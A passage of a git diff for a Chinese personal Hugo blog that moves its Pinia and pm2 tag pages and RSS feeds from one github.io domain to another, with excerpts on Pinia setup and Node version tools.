href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Pinia</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Pinia | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/pinia/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/pinia/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Pinia"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/pinia/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Pinia"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Pinia</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -6,24 +6,8 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
-import App from './App.vue'
-const app = createApp(App)
-import { createPinia } from 'pinia'
-app.use(createPinia())
-app.mount('#app')
-src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
-export const useDataStore = defineStore('data', {
-state: () => {
-return { count: 666 }
-},
-//state: () => {
-//name: chen
-//},
-getters:{ // getters计算属性
-doubleCount(state){
-return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://xiaochenabc123.github.io/posts/124/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://chenjunlinabc.github.io/posts/124/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/pinia/index.xml b/tags/pinia/index.xml
index 4c6b4712..1b2148d4 100644
--- a/tags/pinia/index.xml
+++ b/tags/pinia/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Pinia on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/pinia/</link>
+    <link>https://chenjunlinabc.github.io/tags/pinia/</link>
     <description>Recent content in Pinia on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 26 Dec 2021 20:22:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/pinia/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 26 Dec 2021 20:22:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/pinia/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Pinia---vuejs的轻量级状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/124/</link>
+      <link>https://chenjunlinabc.github.io/posts/124/</link>
       <pubDate>Sun, 26 Dec 2021 20:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/124/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/124/</guid>
       <description>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
@@ -26,8 +26,8 @@ npm install pinia@next
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from &#39;vue&#39;
import App from &#39;./App.vue&#39;
const app = createApp(App)
import { createPinia } from &#39;pinia&#39;
app.use(createPinia())
app.mount(&#39;#app&#39;)
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from &#39;pinia&#39;
export const useDataStore = defineStore(&#39;data&#39;, {
state: () =&amp;gt; {
return { count: 666 }
},
//state: () =&amp;gt; {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state.</description>
+import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; const app = createApp(App) import { createPinia } from &#39;pinia&#39; app.use(createPinia()) app.mount(&#39;#app&#39;) src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from &#39;pinia&#39; export const useDataStore = defineStore(&#39;data&#39;, { state: () =&amp;gt; { return { count: 666 } }, //state: () =&amp;gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.</description>
     </item>
     
   </channel>
diff --git a/tags/pinia/page/1/index.html b/tags/pinia/page/1/index.html
index a7869edc..30c1c2b7 100644
--- a/tags/pinia/page/1/index.html
+++ b/tags/pinia/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/pinia/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/pinia/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/pinia/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/pinia/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/pinia/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/pinia/"></head></html>
\ No newline at end of file
diff --git a/tags/pm2/index.html b/tags/pm2/index.html
index 493ccb6b..2e6aed80 100644
--- a/tags/pm2/index.html
+++ b/tags/pm2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>pm2 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/pm2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/pm2/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="pm2"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/pm2/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="pm2"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>pm2</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>pm2 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/pm2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/pm2/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="pm2"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/pm2/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="pm2"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>pm2</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -35,7 +35,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/pm2/index.xml b/tags/pm2/index.xml
index 4336723c..13baf714 100644
--- a/tags/pm2/index.xml
+++ b/tags/pm2/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>pm2 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/pm2/</link>
+    <link>https://chenjunlinabc.github.io/tags/pm2/</link>
     <description>Recent content in pm2 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/pm2/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/pm2/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
diff --git a/tags/pm2/page/1/index.html b/tags/pm2/page/1/index.html
index 39ee3556..b1da9bed 100644
--- a/tags/pm2/page/1/index.html
+++ b/tags/pm2/page/1/index.html
@@ -1 +1 @@
